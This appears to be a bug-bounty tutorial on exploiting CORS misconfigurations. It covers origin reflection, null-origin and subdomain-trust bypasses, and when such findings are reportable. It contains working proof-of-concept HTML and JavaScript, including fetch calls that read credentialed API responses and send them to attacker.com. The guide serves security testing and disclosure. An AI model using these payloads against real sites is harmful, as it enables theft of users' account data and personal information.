CORS Misconfigurations
CORS bugs are everywhere and consistently underreported because hunters see the misconfiguration and immediately report it without demonstrating actual impact. That's why programs mark them informational. The misconfiguration only matters if it lets an attacker read sensitive data cross-origin. My standing rule: find the API endpoint that returns auth tokens, PII, or account data - then show CORS lets you read it.
The Core Issue
Browsers enforce same-origin policy - scripts on evil.com can't read responses from target.com. CORS is the exception mechanism. A misconfigured CORS policy hands that exception to the wrong origins.
flowchart TD A["attacker.com sends cross-origin request"] --> B["api.target.com checks origin"] B --> C["Response includes ACAO: attacker.com + credentials: true"] C --> D["Browser allows attacker JS to read response"] D --> E["Sensitive data exfiltrated"]
Origin Reflection
The most common pattern. The server takes whatever Origin header you send and echoes it back:
GET /api/user HTTP/1.1
Origin: https://attacker.com
Cookie: session=abc123
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
{"email":"victim@example.com","balance":4200}Test it in Burp - send any arbitrary origin, see if it gets reflected back with Allow-Credentials: true. That combination is the vulnerable case. Allow-Origin: * without credentials doesn't matter for auth'd data because browsers won't send cookies with wildcard origins.
Null Origin via Sandboxed iframe
The null origin is sent by sandboxed iframes, data: URIs, and file:// requests. Some whitelists include null explicitly because devs tested locally.
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://api.target.com/user', {credentials:'include'})
.then(r => r.json())
.then(d => {
// post data back to parent
parent.postMessage(JSON.stringify(d), '*');
});
</script>
"></iframe>Test by sending Origin: null in Burp. If you get Access-Control-Allow-Origin: null back, you can exploit via sandboxed iframe.
Subdomain Trust
Apps often whitelist *.target.com or validate that origin ends with .target.com. Any XSS or subdomain takeover on any subdomain lets you make credentialed requests:
// From a compromised subdomain or XSS on sub.target.com
fetch('https://api.target.com/admin/users', {credentials: 'include'})
.then(r => r.json())
.then(d => {
// exfil to your server
fetch('https://attacker.com/collect?d=' + btoa(JSON.stringify(d)));
});The chain: Subdomain Takeover + CORS subdomain trust = account takeover without touching the main app.
Bypass Patterns for Origin Validation
Apps that check origin.endsWith('target.com') or use regex:
| Intended whitelist | Bypass |
|---|---|
*.target.com | Get XSS or takeover on any subdomain |
origin.endsWith('.target.com') | evil.target.com (still needs to be a real subdomain you control) |
origin.includes('target.com') | attacker-target.com |
/^https?:\/\/target\.com/ | https://target.com.evil.com (regex not anchored at end) |
PoC Template
<!DOCTYPE html>
<html>
<body>
<h2>CORS PoC</h2>
<pre id="output">Sending request...</pre>
<script>
fetch('https://api.target.com/user/profile', {
credentials: 'include'
})
.then(r => {
if (!r.ok) throw new Error('HTTP ' + r.status);
return r.json();
})
.then(data => {
document.getElementById('output').textContent = JSON.stringify(data, null, 2);
// In a real attack, exfil to your server:
// fetch('https://attacker.com/collect', {method:'POST',body:JSON.stringify(data)});
})
.catch(e => {
document.getElementById('output').textContent = 'Error: ' + e.message;
});
</script>
</body>
</html>For the null origin variant:
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://api.target.com/user',{credentials:'include'})
.then(r=>r.text()).then(d=>parent.postMessage(d,'*'));
</script>"></iframe>
<script>
window.addEventListener('message',e=>document.write(e.data));
</script>When CORS Is Reportable vs. When It Needs a Chain
Standalone reportable: CORS reflects origin + Allow-Credentials on an authenticated endpoint that returns sensitive data (tokens, PII, private content). Show the actual data leak in your PoC - don't just show the headers.
Needs a chain: CORS on public/unauthenticated endpoints. CORS without Allow-Credentials on endpoints requiring auth. CORS + wildcard (browsers block credentialed requests to wildcard anyway).
Not reportable alone: Misconfigured headers on static assets. CORS on endpoints that return nothing sensitive. Don't burn report credibility on headers-only findings.
Checklist
- Send arbitrary
Origin: https://attacker.comto every API endpoint - does it reflect? - Check if reflection comes with
Access-Control-Allow-Credentials: true - Try
Origin: nullfor null origin whitelist - Map the subdomain trust logic - what patterns does the whitelist match?
- Find what the sensitive API endpoints return before writing the report
- Build a working PoC that actually reads and displays response data